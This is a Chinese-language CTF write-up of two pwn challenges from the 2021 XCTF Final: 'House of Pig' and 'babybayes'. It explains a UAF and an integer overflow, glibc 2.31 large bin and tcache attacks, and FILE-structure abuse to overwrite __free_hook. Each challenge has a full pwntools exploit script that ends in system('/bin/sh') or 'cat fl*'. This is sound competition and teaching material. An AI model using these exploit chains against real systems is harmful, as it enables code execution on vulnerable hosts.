2021 XCTF Final 线下WP

2021%20XCTF%20Final%20%E7%BA%BF%E4%B8%8BWP%204cdef728b74246ab96b85471d5d8a5bc/Untitled.png

哎呀妈呀,太肝了,感觉我都要升仙了。

House of Pig

GLIBC 2.31

这个题目主要考察的其实是TCTF2020中duet技术相关的部分。作者提出了一个House of Pig的新的利用方式,但是这中方式之前已经见到过了,就是kirin在duet中使用到的技术

0CTF/TCTF 2020 Quals PWN

官方的WP

程序实现很复杂,实现了三种不同的操作方式即三种add,三种edit和三种show,三种功能delete,每种操作方式对应的buf_list是不同的。用户可以进行切换操作方式,在切换的时候程序会将当前操作方式所对应的buf_list等信息拷贝到一个map的地址空间中,我称之为备份。三种不同的操作方式的备份的地址空间是不同的。因此这里不存在备份冲突的情况。

直觉上来讲肯定是进行切换时候发生了问题,因此这里仔细的分析一下切换时候的操作。注意到这里的ida分析不出jmp eax的情况,因此这里使用ghrida来进行分析的。在进行状态切换的时候会check pass,这里的pass和切换的index是对应的,并且这里的pass是经过md5加密的。这里我没有看解密的操作。一开始是直接改check_pass函数的返回值来进行调试的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
case 5:
iVar2 = checkpass();
if ((iVar2 != 0) && (iVar2 != local_428)) {
if (local_428 == 1) {
save_array_2_map_1(local_420);
}
else {
if (local_428 == 2) {
save_array_2_map_2(local_420);
}
else {
if (local_428 == 3) {
save_array_2_map_3(local_420);
}
}
}
local_428 = iVar2;
if (iVar2 == 1) {
pbVar3 = std::operator<<((basic_ostream *)&std::cout,"This is Peppa Pig~");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar3,
std::endl<char,std::char_traits<char>>);
local_420 = local_418;
copy_map_2_array_1(local_420);
}
else {
if (iVar2 == 2) {
pbVar3 = std::operator<<((basic_ostream *)&std::cout,"This is Mummy Pig~");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar3,
std::endl<char,std::char_traits<char>>);
local_420 = local_2c8;
copy_map_2_array_2(local_420);
}
else {
if (iVar2 == 3) {
pbVar3 = std::operator<<((basic_ostream *)&std::cout,"This is Daddy Pig~");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar3,
std::endl<char,std::char_traits<char>>);
local_420 = local_178;
copy_map_2_array_3(local_420);
}
}
}
}
}

可以看到这里首先将当前模式的相关的信息保存早map中,然后根据check_pass的结果将对应模式的信息拷贝到栈中,这样就完成了状态的切换。但是在进行拷贝的时候会出现一个问题,save和recover的信息不对等。

1
2
3
4
5
6
7
8
9
10
unsigned __int64 __fastcall save_to_map_3(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy((char *)global_map + 0x2B0, (const void *)a1, 0xC0uLL);
memcpy((char *)global_map + 0x370, (const void *)(a1 + 0xC0), 0x60uLL);
memcpy((char *)global_map + 0x3E8, (const void *)(a1 + 0x138), 0x18uLL);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall copy_global_map_2_array_3(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy((void *)a1, (char *)global_map + 0x2B0, 0xC0uLL);
memcpy((void *)(a1 + 0xC0), (char *)global_map + 0x370, 0x60uLL);
memcpy((void *)(a1 + 0x120), (char *)global_map + 0x3D0, 0x18uLL);
memcpy((void *)(a1 + 0x138), (char *)global_map + 0x3E8, 0x18uLL);
return __readfsqword(0x28u) ^ v2;
}

我们看到这里在进行保存的时候忘记了+0x120偏移位置的数据,而这部分的数据是用来标识当前模式下buf_list中的堆块是否被释放了的。因此这里如果没有进行保存的话,那么在恢复的时候这里的值都是0,而0代表的是buf_list对应的index处的buf未被释放,即仍在使用中,那么这里就出现了一个UAF的漏洞。即切换两次即可对buf进行UAF。

但是程序中都是calloc,并没有malloc,并且限制了堆块的大小最小为0xa0,也就是这里并不能直接使用tcache实现任意地址分配,而且这里并不能使用fastbin attack。因此这里唯一可以考虑的就是small bin attack和large bin attack。并且这里是GLIBC 2.31 unsorted bin attack已经不能使用了。

这里在做题的时候犯了一个错误就是没有看好small bin attack是否可行就去尝试了,结果构造完毕堆布局之后发现small bin attack不能使用,这就耗费了很长时间,这里吃一堑长一智吧。

1
2
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");

不知道当时为什么要尝试这个smallbin attack,感觉没有道理啊。。。

之后在how2heap看到了large bin attack。这才知道large bin attack在glibc 2.31中还是可以用的。比赛的时候没有仔细的思考,这里详细的看一下。如果在对large bin list插入的堆块小于这个链表中最小的堆块,那么这里会直接插入,并且这里glibc并没有对bk_nextsize的完整性进行检查,直接进行了插入

1
2
3
4
5
6
7
8
9
10
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

因此这里我们可以覆写bk_nextsize,那么就会将偏移+0x20位置也就是fd_nextsize覆写为插入的victim的地址。那么这里我们就可以任意地址写堆地址了,正常来说这里可以覆写fastbin attack,但是这里存在一个问题就是没办法申请小于0x90大小的堆块(当然这里可以申请后面再说)。

那么在比赛的时候,我就直接放弃了覆写global_max_fast的做法,那么只剩下一种方法就是覆写IO_list_all然后伪造FILE结构体,这个正好题目给出了一个0xE8的可以写全部内容的堆块(之前的堆块只能写0x10字节的内容)。那么这里很明显就是覆写FILE结构体了。那么这里我的做法就是首先通过UAF覆写tcache的fd指针指向free_hook-0x8的位置。至于地址泄漏的话直接通过UAF就可以泄漏得到。

伪造FILE结构体之后这里考察的应该就是duet中用到的方法,也是我之前经常使用的方法,就是利用str_overflow函数中的malloc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
}

在比赛中也是才注意到后续还有一个free(old_buf)的方法。但是这里我们一次并不能直接申请到free_hook的堆块的位置。因此这里需要构造两次malloc,这里我是直接将两个FILE结构体放在一个堆块中了,这里还需要利用一下0x10字节的其他堆块的写伪造一下vtable的值。那么这里就可以将两个FILE结构体放在一个0xe8大小的堆块中。

那么这里第一次malloc用来消耗一个堆块,第二次malloc用来申请到free_hook的堆块,在利用后续的memcpy覆写free_hook,同时利用后续的free函数来触发free_hook。

但是现在还是存在一个问题就是如何触发 IO_flush。我想到的一个方法就是利用exit函数来触发,但是找遍了程序只发现当check_pass输入的字符串长度是0的时候才会触发exit,这就需要我们shutdown(“send”),那么这里就不能弹shell。这里我是直接执行的cat fl*\x00这样输出flag。

这里看了官方的wp,这里直接sendlineafter(“\n”)就可以是的长度是0。因为在check_pass输入的时候直接将\n替换为了0。同时这里官方想要考察的是利用IO_str_overflow来减缓tcache stashing unlink的使用难度。也就是说首先利用tcache stashing unlink在tcache中放置一个伪造的堆块,在之后利用IO_str_overflow中的malloc申请到伪造的堆块,覆写free_hook完成利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# encoding=utf-8
from pwn import *

file_path = "./pig"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0xe6e73, 0xe6e76, 0xe6e79]

else:
p = remote('172.35.8.11', 8888)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0

init_count = []

def add(size, input_content=init_count):
p.sendlineafter("Choice: ", "1")
p.sendlineafter("message size: ", str(size))
p.recvuntil("message: ")
if len(input_content) == 0:
for i in range(int(size / 48)):
p.sendline()
else:
for i in range(int(size / 48)):
p.send(input_content[i])

def show(index):
p.sendlineafter("Choice: ", "2")
p.sendlineafter("message index: ", str(index))

def edit(index, input_content):
p.sendlineafter("Choice: ", "3")
p.sendlineafter("message index: ", str(index))
p.recvuntil("message: ")
if len(input_content) == 0:
for i in range(int(size / 48)):
p.sendline()
else:
for con in input_content:
p.send(con)

def delete(index):
p.sendlineafter("Choice: ", "4")
p.sendlineafter("message index: ", str(index))

def change(index):
p.sendlineafter("Choice: ", "5")
passwd = ["AADCGTDO", "BAAZSAVR", "CAAUGNJT"]
p.sendlineafter("corresponding user:\n", passwd[index - 1])

def gen_content(size, content):
res = []
for i in range(int(size / 48)):
res.append(content)
return res

for i in range(8):
add(0x90)
for i in range(8):
delete(7 - i)

change(2)
add(0x428)
change(1)
show(0)

p.recvuntil("message is: ")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0xf0 - 0x10 - libc.sym['__malloc_hook']
change(3)
add(0x90)
change(1)
show(1)
p.recvuntil("message is: ")
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
change(3)

payload = p64(heap_address)*2
add(0x90, gen_content(0x90, payload))
add(0x418)
# delete(2)

change(1)
add(0x90)

change(2)
delete(0)

add(0x438)
change(3)
delete(2)

change(2)

payload = p64(heap_address + 0x3b0) + p64(libc.sym['_IO_list_all'] - 0x20)
edit(0, gen_content(0x428, payload))

add(0x438)

change(3)
add(0x418)
change(2)
edit(0, gen_content(0x428, p64(heap_address + 0x3b0)*2))

change(3)
log.success("libc address is {}".format(hex(libc.address)))
log.success("heap address is {}".format(hex(heap_address)))

# add(0x438)
add(0x438)

io_str_jumps = libc.address + 0x1ed560
_chain = heap_address + 0x3b0 + 0x60
value_address = _chain + 0xa0*2

fake_FILE = p64(0)*2
fake_FILE += p64(0) + p64(0x100) + p64(0)
fake_FILE += p64(0) + p64(int((0x90 - 100) / 2))
fake_FILE = fake_FILE.ljust(0x68 - 0x10, b"\x00")
fake_FILE += p64(_chain) + p64(0)*2
fake_FILE += p64(0) + p64(0x100) + p64(0)
fake_FILE += p64(value_address) + p64(value_address + int((0x90 - 100) / 2))
fake_FILE += p64(0)*4 + p64(heap_address)
fake_FILE = fake_FILE.ljust(0xd8 - 0x10, b"\x00")
fake_FILE += p64(io_str_jumps)

p.sendlineafter("01dwang's Gift:", fake_FILE)

change(1)
payload = p64(io_str_jumps)*2
add(0x90, gen_content(0x90, payload))
add(0x90, gen_content(0x90, b"cat fl*\x00" + p64(libc.sym['system'])))
edit(1, gen_content(0x90, p64(libc.sym['__free_hook'] - 0x8)*2))


p.sendlineafter("Choice: ", "5")
p.shutdown("send")

p.interactive()

babybayes

是一个机器学习的模型,可以创建/删除模型,也可以train/predict模型。程序的漏洞是黑盒测试出来的,也即是当train输入矩阵的时候如果输入-1则会存在上溢出,此时会对堆块的size+1。相当于我们可以伪造size。这里一个模型的结构体如下

1
2
3
4
5
6
7
8
00000000 Bayes           struc ; (sizeof=0x60, mappedto_9)
00000000 alpha_n dq ?
00000008 total_num_train_data dq ?
00000010 count_for_each_label Vector<int64> ?
00000028 count_of_words_for_each_label Vector<int64> ?
00000040 count_of_each_word_for_each_label Vector<Vector<int64> > ?
00000058 total_num_words dq ?
00000060 Bayes ends

这里使用的是多个vector来描述一个模型,在对count_of_each_word_for_each_label输出的时候会首先判断count_for_each_label vector的长度。那么这里我们可以伪造size构造堆重叠,进而实现覆写模型的vector指针,这里为了绕过检查(即对count_of_each_word_for_each_label输出时可能会造成越界)那么这里将count_for_each_label的vector全部覆写为0,这样count_of_each_word_for_each_label就不会输出了。然后覆写count_of_words_for_each_label begin也就是开始输出内容的起始地址的低1字节。之后就可以输出堆中的一些信息了。那么这里提前布局好之后就可以泄漏出libc基地址和heap的地址了。

之后就是如何覆写的问题,这里使用的是train中的string实现堆块的分配和覆写第1字节的内容。在之后覆写free_hook和tcache 的fd的时候可以直接申请模型,由于其fd处存储的是一个模型的参数,是我们完全可以控制的,因此这里可以直接覆写fd,覆写free_hook,并且在释放的时候可以直接调用system(“/bin/sh”)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# encoding=utf-8
import syslog

from pwn import *

file_path = "./bayes"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('172.35.8.14', 9999)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0

def create(ap):
p.sendlineafter("> ", "1")
p.sendlineafter("value[y/n]? ", "y")
p.sendlineafter("alpha = ", str(ap))

def train(index, content=[], label=1):
p.sendlineafter("> ", "2")
p.sendlineafter("to train? ", str(index))
p.recvuntil("to finish)\n")
con_str = ""
for i in content:
con_str += str(i) + " "
p.sendline(con_str)
p.sendline("END")
p.sendlineafter("labels:", str(label))

def show(index):
p.sendlineafter("> ", "3")
p.sendlineafter("model to show? ", str(index))

def delete(index):
p.sendlineafter("> ", "5")
p.sendlineafter("to remove?", str(index))

create(0xa0)
train_content = [1, 2]
train(0, train_content, label=1)
create(0xa0)
create(0xa0)
train(2, train_content, label=1)
create(0xa0)
train(1, train_content, label=3)
for i in range(7):
create(0xa0)

train_content = [1, 2]
for i in range(0x60):
train_content.append(-1)
train(0, train_content)
train_content = [1, 2]
for i in range(0x50-0x30):
train_content.append(-1)
train(2, train_content)
train_content = [1, 2]

delete(0)

payload = b""
for i in range(0x13):
payload += b"3 "
payload= payload.ljust(0x28, b"\x00")
payload += p64(0x71) + p64(0xa0) + p64(4) + p64(0) + p64(0x0) + p64(0)
p.sendlineafter("> ", "2")
p.sendlineafter("to train? ", str(2))
p.recvuntil("to finish)\n")
p.sendline(payload)
p.sendline("END")
p.sendlineafter("labels:", str(1))

delete(3)
show(1)
p.recvuntil("Count of words for each label: \n")

heap_address = int(p.recvuntil(" ", drop=True))

create(0xa0)

delete(2)

payload = b"\x00"*0x28 + p64(0x471)
p.sendlineafter("> ", "2")
p.sendlineafter("to train? ", str(4))
p.recvuntil("to finish)\n")
p.sendline(payload)
p.sendline("END")
p.sendlineafter("labels:", str(1))

delete(0)

show(1)
p.recvuntil("Count of words for each label: \n")

libc.address = int(p.recvuntil(" ", drop=True)) - 96 - 0x10 - libc.sym['__malloc_hook']

for i in range(3):
create(0xa0)
create(0xa0) # 11

if debug:
log.success("heap address is {}".format(hex(heap_address)))
log.success("libc address is {}".format(hex(libc.address)))

delete(10)
delete(11)
payload = b"\x00"*0x28 + p64(0x71) + p64(libc.sym['__free_hook'])
# payload = payload.ljust(0x79, b"\x00")
p.sendlineafter("> ", "2")
p.sendlineafter("to train? ", str(5))
p.recvuntil("to finish)\n")
p.sendline(payload)
p.sendline("END")
p.sendlineafter("labels:", str(1))

create(u64(b"/bin/sh\x00"))
create(libc.sym['system'])

delete(10)

p.interactive()